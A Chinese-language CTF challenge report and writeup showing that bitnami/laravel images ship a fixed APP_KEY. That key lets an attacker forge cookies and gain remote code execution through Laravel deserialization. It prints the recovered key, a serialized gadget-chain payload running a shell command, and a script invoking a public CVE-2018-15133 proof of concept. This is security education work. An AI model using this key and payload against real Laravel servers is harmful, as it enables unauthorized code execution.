出题报告: container/latest_laravel
出题报告: container/latest_laravel
一、题目基本信息
- 题目标题:latest_laravel
- 题目类别:container
- 难度:4/5
- 预计解题时间:8h
- 收录比赛:hwctf202102
请获取服务器http://{hostname}中/flag文件内容,flag格式为flag{xxx}
题目附件:
https://github.com/ssst0n3/ssst0n3_challenges_public/tree/main/container/latest_laravel/attachments
二、设计思路
1. a 0day of image bitnami/laravel
如果用户在使用bitnami/laravel镜像时,/app/config/database.php文件不存在,则/tmp/app/.env会覆盖/app/.env
if [[ ! -f /app/config/database.php ]]; then
log "Creating laravel application"
cp -a /tmp/app/. /app/
fi
https://github.com/bitnami/bitnami-docker-laravel/blob/master/7/debian-10/rootfs/app-entrypoint.sh
虽然laravel在安装时会随机生成APP_KEY, 但在每个bitnami/laravel镜像build时,已经是一个确定值了。 因此我们可以知道所有bitnami/laravel镜像的APP_KEY, 而这个文件对laravel框架的安全性是至关重要的。
根据这个供应链层的漏洞,出了这个题目。
2. From APP_KEY disclosure to laravel RCE
可借鉴:
- https://github.com/ambionics/phpggc/tree/master/gadgetchains/Laravel/RCE/7
- https://github.com/kozmic/laravel-poc-CVE-2018-15133
三、writeup
1. something interesting
- docker-compose.yml在使用bitnami/laravel时,使用了latest标签,而不是一个固定的版本
- docker-compose.yml在挂载文件时,挂载到了/tmp/目录,而不是/app目录
- 奇怪的一句话:
archived @Jan 31, 2021 at 7:54 pm
,好像是在说这个文件归档的时间点 - 目前laravel的最新版本是8.x, 但在bitnami/laravel镜像中,latest标签指向的是最新的7.x版本
2. 解题方向分析: Cookie deserialize to laravel RCE
本题名为latest laravel, 似乎是要在一个最新版本的php上找到漏洞,但同时题目类别是container,而不是web,说明该题的关键点可能在于容器上,而不是真的要挖掘最新版本laravel的漏洞。
首先分析题目附件,docker-compose.yml文件中挂载了一个EncryptCookies.php文件。 该文件与laravel中的原文件的区别在于,这里挂载的EncryptCookies.php文件多了一行:
protected static $serialize = true;
去翻laravel源码,可以发现这个$serialize
变量决定了在解密cookie时,是否反序列化:
https://github.com/laravel/framework/blob/7.x/src/Illuminate/Cookie/Middleware/EncryptCookies.php
protected function decryptCookie($name, $cookie)
{
return is_array($cookie)
? $this->decryptArray($cookie)
: $this->encrypter->decrypt($cookie, static::serialized($name));
}
https://github.com/laravel/framework/blob/7.x/src/Illuminate/Encryption/Encrypter.php
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
// Here we will decrypt the value. If we are able to successfully decrypt it
// we will then unserialize it and return it out to the caller. If we are
// unable to decrypt this value we will throw out an exception message.
$decrypted = \openssl_decrypt(
$payload['value'], $this->cipher, $this->key, 0, $iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}
至此可以确定,本题的漏洞点就是在Cookie处反序列化。下一步,解决以下两个问题:
- 如何控制Cookie内容
- 寻找反序列化的漏洞利用链
3. 如何控制Cookie内容:APP_KEY
经过一通代码审计,我们理解了laravel cookie的加解密流程。 https://github.com/laravel/framework/blob/7.x/src/Illuminate/Encryption/Encrypter.php
iv=random(16)
prefix=HMAC_SHA1(plain=cookie_name+"v2",key=APP_KEY)
value=AES-256-CBC(iv=iv, key=APP_KEY, plain=prefix|cookie_value)
cookie=base64(iv+value+HMAC_SHA256(plain=value, key=APP_KEY)))
这里使用了HMAC,保证了在APP_KEY未知的情况下,无法破解密文,也无法篡改数据。因此,我们必须要找到服务器上的APP_KEY。
自己反复部署环境发现,/app/.env中APP_KEY的内容一直不变!
可是laravel框架明明会随机生成APP_KEY的啊!奇怪。 https://github.com/laravel/laravel/blob/7.x/composer.json
"scripts": {
...
"post-create-project-cmd": [
"@php artisan key:generate --ansi"
]
}
结合第1节的分析,较新版本的laravel应该不会存在泄漏APP_KEY的问题(即使开启DEBUG)。因此目标就放在了容器镜像上。
难道所有bitnami/laravel镜像的APP_KEY都一样?找了几个镜像试了一下,不一样啊。
翻阅bitnami/laravel的Dockerfile发现, 容器启动时,会将/tmp/app/. 复制到 /app/下
https://github.com/bitnami/bitnami-docker-laravel/blob/master/7/debian-10/rootfs/app-entrypoint.sh
if [ "${1}" == "php" -a "$2" == "artisan" -a "$3" == "serve" ]; then
if [[ ! -f /app/config/database.php ]]; then
log "Creating laravel application"
cp -a /tmp/app/. /app/
fi
线索逐渐清晰,bitnami/laravel在build阶段,安装laravel时,laravel会自动生成随机的APP_KEY, 但编译成镜像后,APP_KEY就不会变了。
使用量如此大的镜像存在漏洞,确实值得深入分析。
4. 寻找反序列化的漏洞利用链
在phpggc中发现一个在高版本适用的利用链: https://github.com/ambionics/phpggc/tree/master/gadgetchains/Laravel/RCE/7
走读代码发现,在本题中也适用。但经过调试,发现把原payload直接拿来利用不行,需要将protected属性改成public即可本地利用成功。详见下文的exp
5. 等等,为什么本地可以利用成功,远端不行?
经过一段时间反复尝试,质疑出题人,暴打出题人,突然想到之前发现的两条奇怪的信息
- docker-compose.yml在使用bitnami/laravel时,使用了latest标签,而不是一个固定的版本
- 奇怪的一句话:
archived @Jan 31, 2021 at 7:54 pm
,好像是在说这个文件归档的时间点
是不是出题人在出题时latest指向的镜像,和我现在用的latest镜像不是一个东东?那出题人出题时,是什么时间?Jan 31, 2021 at 7:54 pm
之前吗?
看来出题人为了防止被暴打,已经留下了一些线索。这个好像也不算脑洞,真实场景中,如果使用latest镜像,也确实会出现这个问题。
观察该镜像仓库,我们发现,latest镜像和几个固定版本号的镜像的digest相同。所以我们只要找到在Jan 31, 2021 at 7:54 pm
左右上传的镜像,收集他们的APP_KEY, 即可得到正确的APP_KEY。
我们发现,7.30.1-debian-10-r85
刚好在Jan 31, 2021 at 7:53 pm
上传,一定是这个了!这个镜像的APP_KEY是xmdC9cSx0QWwOtm9mdG0xfdS3HWQJRtG4DhxmA3pOz4=
, 可以利用成功。
四、exp
set -ex
APP_KEY="xmdC9cSx0QWwOtm9mdG0xfdS3HWQJRtG4DhxmA3pOz4="
PAYLOAD_BASE64=$(python -c 'import base64;print base64.b64encode("""O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:25:"Illuminate\\Bus\\Dispatcher":1:{s:16:"\x00*\x00queueResolver";s:6:"system";}s:8:"\x00*\x00event";O:34:"Illuminate\\Queue\\CallQueuedClosure":2:{s:10:"connection";s:9:"cat /flag";s:23:"deleteWhenMissingModels";b:0;}}""")')
git clone --depth=1 https://github.com/kozmic/laravel-poc-CVE-2018-15133.git
./laravel-poc-CVE-2018-15133/cve-2018-15133.php $APP_KEY $PAYLOAD_BASE64
五、总结
这个题目,揭示了一种新的攻击场景,即软件本身可能是安全的,但在制作成镜像后,可能会导致一些关键信息泄漏。